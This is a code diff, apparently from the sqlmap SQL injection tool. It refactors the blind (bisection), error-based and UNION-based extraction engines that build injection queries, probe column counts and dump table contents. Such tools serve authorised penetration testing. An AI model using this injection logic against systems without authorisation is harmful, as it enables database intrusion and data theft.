|
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
|
||||||
output = output[:-2] + '..'
|
output = output[:-2] + ".."
|
||||||
|
|
||||||
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not showEta and not conf.api:
|
||||||
_ = count - firstChar
|
_ = count - firstChar
|
||||||
output += '_' * (min(length, conf.progressWidth) - len(output))
|
output += '_' * (min(length, conf.progressWidth) - len(output))
|
||||||
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
|
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
|
||||||
output += status if _ != length else " " * len(status)
|
output += status if _ != length else " " * len(status)
|
||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
|
||||||
@@ -522,7 +544,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
finalValue = "".join(value)
|
finalValue = "".join(value)
|
||||||
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
||||||
|
|
||||||
if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
|
||||||
dataToStdout(infoMsg)
|
dataToStdout(infoMsg)
|
||||||
|
|
||||||
# No multi-threading (--threads = 1)
|
# No multi-threading (--threads = 1)
|
||||||
@@ -548,7 +570,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
|
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
|
||||||
|
|
||||||
query = kb.injection.data[kb.technique].vector
|
query = kb.injection.data[kb.technique].vector
|
||||||
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
|
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue)))
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
|
|
||||||
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
@@ -558,7 +580,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
if result:
|
if result:
|
||||||
if showEta:
|
if showEta:
|
||||||
progress.progress(time.time() - charStart, len(commonValue))
|
progress.progress(time.time() - charStart, len(commonValue))
|
||||||
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
elif conf.verbose in (1, 2) or conf.api:
|
||||||
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
||||||
|
|
||||||
finalValue = commonValue
|
finalValue = commonValue
|
||||||
@@ -572,7 +594,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
|
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
|
||||||
|
|
||||||
query = kb.injection.data[kb.technique].vector
|
query = kb.injection.data[kb.technique].vector
|
||||||
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
|
query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue)))
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
|
|
||||||
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
@@ -593,9 +615,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
# If we had no luck with commonValue and common charset,
|
# If we had no luck with commonValue and common charset,
|
||||||
# use the returned other charset
|
# use the returned other charset
|
||||||
if not val:
|
if not val:
|
||||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
val = getChar(index, otherCharset, otherCharset==asciiTbl)
|
||||||
else:
|
else:
|
||||||
val = getChar(index, asciiTbl)
|
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
|
||||||
|
|
||||||
if val is None:
|
if val is None:
|
||||||
finalValue = partialValue
|
finalValue = partialValue
|
||||||
@@ -608,7 +630,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
progress.progress(time.time() - charStart, index)
|
progress.progress(time.time() - charStart, index)
|
||||||
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
elif conf.verbose in (1, 2) or conf.api:
|
||||||
dataToStdout(filterControlChars(val))
|
dataToStdout(filterControlChars(val))
|
||||||
|
|
||||||
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||||
@@ -635,11 +657,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
elif partialValue:
|
elif partialValue:
|
||||||
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
||||||
|
|
||||||
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
|
if conf.hexConvert and not abortedFlag and not conf.api:
|
||||||
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
|
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
|
||||||
dataToStdout(infoMsg)
|
dataToStdout(infoMsg)
|
||||||
else:
|
else:
|
||||||
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not showEta and not conf.api:
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
|
|
||||||
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
|
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
|
||||||
|
|||||||
@@ -1,8 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
|
||||||
See the file 'doc/COPYING' for copying permission
|
|
||||||
"""
|
|
||||||
|
|
||||||
pass
|
|
||||||
+88
-91
@@ -28,6 +28,7 @@ from lib.core.common import isNumPosStrValue
|
|||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
|
from lib.core.common import wasLastResponseHTTPError
|
||||||
from lib.core.convert import hexdecode
|
from lib.core.convert import hexdecode
|
||||||
from lib.core.convert import htmlunescape
|
from lib.core.convert import htmlunescape
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -97,8 +98,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
if retVal is None or partialValue:
|
if retVal is None or partialValue:
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
check = r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
||||||
trimcheck = r"%s(?P<result>[^<\n]*)" % (kb.chars.start)
|
trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
|
||||||
|
|
||||||
if field:
|
if field:
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
@@ -120,7 +121,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
payload = agent.payload(newValue=injExpression)
|
payload = agent.payload(newValue=injExpression)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
page, headers = Request.queryPage(payload, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
|
||||||
|
|
||||||
incrementCounter(kb.technique)
|
incrementCounter(kb.technique)
|
||||||
|
|
||||||
@@ -130,23 +131,19 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
# Parse the returned page to get the exact error-based
|
# Parse the returned page to get the exact error-based
|
||||||
# SQL injection output
|
# SQL injection output
|
||||||
output = reduce(lambda x, y: x if x is not None else y, (\
|
output = reduce(lambda x, y: x if x is not None else y, (\
|
||||||
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
|
extractRegexResult(check, page), \
|
||||||
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
|
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
|
||||||
if headers else None), re.DOTALL | re.IGNORECASE), \
|
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)), \
|
||||||
extractRegexResult(check, threadData.lastRedirectMsg[1] \
|
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
|
||||||
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
|
||||||
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
|
|
||||||
None)
|
None)
|
||||||
|
|
||||||
if output is not None:
|
if output is not None:
|
||||||
output = getUnicode(output)
|
output = getUnicode(output)
|
||||||
else:
|
else:
|
||||||
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
|
trimmed = extractRegexResult(trimcheck, page) \
|
||||||
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
|
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
|
||||||
if headers else None), re.DOTALL | re.IGNORECASE) \
|
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)) \
|
||||||
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
|
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
||||||
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
|
||||||
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
|
||||||
|
|
||||||
if trimmed:
|
if trimmed:
|
||||||
if not chunkTest:
|
if not chunkTest:
|
||||||
@@ -176,7 +173,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
if output:
|
if output and conf.verbose in (1, 2) and not conf.api:
|
||||||
if kb.fileReadMode:
|
if kb.fileReadMode:
|
||||||
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
|
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
|
||||||
elif offset > 1:
|
elif offset > 1:
|
||||||
@@ -205,8 +202,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|||||||
hashDBWrite(expression, retVal)
|
hashDBWrite(expression, retVal)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
||||||
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
|
retVal = extractRegexResult(_, retVal) or retVal
|
||||||
|
|
||||||
return safecharencode(retVal) if kb.safeCharEncode else retVal
|
return safecharencode(retVal) if kb.safeCharEncode else retVal
|
||||||
|
|
||||||
@@ -301,7 +298,7 @@ def errorUse(expression, dump=False):
|
|||||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
||||||
|
|
||||||
# Set kb.partRun in case the engine is called from the API
|
# Set kb.partRun in case the engine is called from the API
|
||||||
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
|
kb.partRun = getPartRun(alias=False) if conf.api else None
|
||||||
|
|
||||||
# We have to check if the SQL query might return multiple entries
|
# We have to check if the SQL query might return multiple entries
|
||||||
# and in such case forge the SQL limiting the query output one
|
# and in such case forge the SQL limiting the query output one
|
||||||
@@ -355,94 +352,94 @@ def errorUse(expression, dump=False):
|
|||||||
value = [] # for empty tables
|
value = [] # for empty tables
|
||||||
return value
|
return value
|
||||||
|
|
||||||
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
|
if isNumPosStrValue(count) and int(count) > 1:
|
||||||
message = "due to huge table size do you want to remove "
|
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
|
||||||
message += "ORDER BY clause gaining speed over consistency? [y/N] "
|
message = "due to huge table size do you want to remove "
|
||||||
_ = readInput(message, default="N")
|
message += "ORDER BY clause gaining speed over consistency? [y/N] "
|
||||||
|
|
||||||
if _ and _[0] in ("y", "Y"):
|
if readInput(message, default="N", boolean=True):
|
||||||
expression = expression[:expression.index(" ORDER BY ")]
|
expression = expression[:expression.index(" ORDER BY ")]
|
||||||
|
|
||||||
numThreads = min(conf.threads, (stopLimit - startLimit))
|
numThreads = min(conf.threads, (stopLimit - startLimit))
|
||||||
|
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
||||||
except OverflowError:
|
except OverflowError:
|
||||||
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
|
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
|
||||||
errMsg += "with switch '--fresh-queries'"
|
errMsg += "with switch '--fresh-queries'"
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
threadData.shared.value = BigArray()
|
threadData.shared.value = BigArray()
|
||||||
threadData.shared.buffered = []
|
threadData.shared.buffered = []
|
||||||
threadData.shared.counter = 0
|
threadData.shared.counter = 0
|
||||||
threadData.shared.lastFlushed = startLimit - 1
|
threadData.shared.lastFlushed = startLimit - 1
|
||||||
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
|
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
|
||||||
|
|
||||||
if threadData.shared.showEta:
|
if threadData.shared.showEta:
|
||||||
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
|
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
|
||||||
|
|
||||||
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
|
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
|
||||||
for field in expressionFieldsList:
|
for field in expressionFieldsList:
|
||||||
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
|
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
|
||||||
emptyFields.append(field)
|
emptyFields.append(field)
|
||||||
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
|
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
|
||||||
debugMsg += "dumped as it appears to be empty"
|
debugMsg += "dumped as it appears to be empty"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
||||||
kb.suppressResumeInfo = True
|
kb.suppressResumeInfo = True
|
||||||
debugMsg = "suppressing possible resume console info because of "
|
debugMsg = "suppressing possible resume console info because of "
|
||||||
debugMsg += "large number of rows. It might take too long"
|
debugMsg += "large number of rows. It might take too long"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
def errorThread():
|
def errorThread():
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
while kb.threadContinue:
|
while kb.threadContinue:
|
||||||
with kb.locks.limit:
|
with kb.locks.limit:
|
||||||
try:
|
try:
|
||||||
valueStart = time.time()
|
valueStart = time.time()
|
||||||
threadData.shared.counter += 1
|
threadData.shared.counter += 1
|
||||||
num = threadData.shared.limits.next()
|
num = threadData.shared.limits.next()
|
||||||
except StopIteration:
|
except StopIteration:
|
||||||
|
break
|
||||||
|
|
||||||
|
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
|
||||||
|
|
||||||
|
if not kb.threadContinue:
|
||||||
break
|
break
|
||||||
|
|
||||||
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
|
if output and isListLike(output) and len(output) == 1:
|
||||||
|
output = output[0]
|
||||||
|
|
||||||
if not kb.threadContinue:
|
with kb.locks.value:
|
||||||
break
|
index = None
|
||||||
|
if threadData.shared.showEta:
|
||||||
|
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||||
|
for index in xrange(1 + len(threadData.shared.buffered)):
|
||||||
|
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
||||||
|
break
|
||||||
|
threadData.shared.buffered.insert(index or 0, (num, output))
|
||||||
|
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
|
||||||
|
threadData.shared.lastFlushed += 1
|
||||||
|
threadData.shared.value.append(threadData.shared.buffered[0][1])
|
||||||
|
del threadData.shared.buffered[0]
|
||||||
|
|
||||||
if output and isListLike(output) and len(output) == 1:
|
runThreads(numThreads, errorThread)
|
||||||
output = output[0]
|
|
||||||
|
|
||||||
with kb.locks.value:
|
except KeyboardInterrupt:
|
||||||
index = None
|
abortedFlag = True
|
||||||
if threadData.shared.showEta:
|
warnMsg = "user aborted during enumeration. sqlmap "
|
||||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
warnMsg += "will display partial output"
|
||||||
for index in xrange(len(threadData.shared.buffered)):
|
logger.warn(warnMsg)
|
||||||
if threadData.shared.buffered[index][0] >= num:
|
|
||||||
break
|
|
||||||
threadData.shared.buffered.insert(index or 0, (num, output))
|
|
||||||
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
|
|
||||||
threadData.shared.lastFlushed += 1
|
|
||||||
threadData.shared.value.append(threadData.shared.buffered[0][1])
|
|
||||||
del threadData.shared.buffered[0]
|
|
||||||
|
|
||||||
runThreads(numThreads, errorThread)
|
finally:
|
||||||
|
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
|
||||||
except KeyboardInterrupt:
|
value = threadData.shared.value
|
||||||
abortedFlag = True
|
kb.suppressResumeInfo = False
|
||||||
warnMsg = "user aborted during enumeration. sqlmap "
|
|
||||||
warnMsg += "will display partial output"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
finally:
|
|
||||||
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
|
|
||||||
value = threadData.shared.value
|
|
||||||
kb.suppressResumeInfo = False
|
|
||||||
|
|
||||||
if not value and not abortedFlag:
|
if not value and not abortedFlag:
|
||||||
value = _errorFields(expression, expressionFields, expressionFieldsList)
|
value = _errorFields(expression, expressionFields, expressionFieldsList)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
|
|
||||||
@@ -52,8 +53,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
|
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
|
||||||
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||||
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
|
||||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
|
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
|
||||||
|
|
||||||
if _orderByTest(1) and not _orderByTest(randomInt()):
|
if _orderByTest(1) and not _orderByTest(randomInt()):
|
||||||
infoMsg = "'ORDER BY' technique appears to be usable. "
|
infoMsg = "'ORDER BY' technique appears to be usable. "
|
||||||
@@ -104,10 +105,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
for count in xrange(lowerCount, upperCount + 1):
|
for count in xrange(lowerCount, upperCount + 1):
|
||||||
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
|
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
|
||||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
if not isNullValue(kb.uChar):
|
if not isNullValue(kb.uChar):
|
||||||
pages[count] = page
|
pages[count] = page
|
||||||
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
|
ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
|
||||||
ratios.append(ratio)
|
ratios.append(ratio)
|
||||||
min_, max_ = min(min_, ratio), max(max_, ratio)
|
min_, max_ = min(min_, ratio), max(max_, ratio)
|
||||||
items.append((count, ratio))
|
items.append((count, ratio))
|
||||||
@@ -154,7 +155,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
|
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -186,7 +187,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
|
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
|
||||||
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
|
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
|
||||||
payload, True) or "")
|
payload, True) or "")
|
||||||
@@ -208,7 +209,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
|
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
|
||||||
|
|
||||||
if not all(_ in content for _ in (phrase, phrase2)):
|
if not all(_ in content for _ in (phrase, phrase2)):
|
||||||
@@ -221,7 +222,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
|
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
|
||||||
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
|
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
|
||||||
payload, True) or "")
|
payload, True) or "")
|
||||||
@@ -282,8 +283,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|||||||
|
|
||||||
if not conf.uChar and count > 1 and kb.uChar == NULL:
|
if not conf.uChar and count > 1 and kb.uChar == NULL:
|
||||||
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
||||||
test = readInput(message, default="Y")
|
|
||||||
if test[0] not in ("y", "Y"):
|
if not readInput(message, default="Y", boolean=True):
|
||||||
warnMsg += "usage of option '--union-char' "
|
warnMsg += "usage of option '--union-char' "
|
||||||
warnMsg += "(e.g. '--union-char=1') "
|
warnMsg += "(e.g. '--union-char=1') "
|
||||||
else:
|
else:
|
||||||
|
|||||||
+105
-104
@@ -81,7 +81,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
payload = agent.payload(newValue=query, where=where)
|
payload = agent.payload(newValue=query, where=where)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
page, headers = Request.queryPage(payload, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
|
||||||
|
|
||||||
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
@@ -215,7 +215,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
|
||||||
|
|
||||||
# Set kb.partRun in case the engine is called from the API
|
# Set kb.partRun in case the engine is called from the API
|
||||||
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
|
kb.partRun = getPartRun(alias=False) if conf.api else None
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
|
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
|
||||||
kb.rowXmlMode = True
|
kb.rowXmlMode = True
|
||||||
@@ -226,7 +226,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
|
|
||||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||||
# Removed ORDER BY clause because UNION does not play well with it
|
# Removed ORDER BY clause because UNION does not play well with it
|
||||||
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
|
expression = re.sub("(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||||
debugMsg = "stripping ORDER BY clause from statement because "
|
debugMsg = "stripping ORDER BY clause from statement because "
|
||||||
debugMsg += "it does not play well with UNION query SQL injection"
|
debugMsg += "it does not play well with UNION query SQL injection"
|
||||||
singleTimeDebugMessage(debugMsg)
|
singleTimeDebugMessage(debugMsg)
|
||||||
@@ -284,126 +284,127 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
value = [] # for empty tables
|
value = [] # for empty tables
|
||||||
return value
|
return value
|
||||||
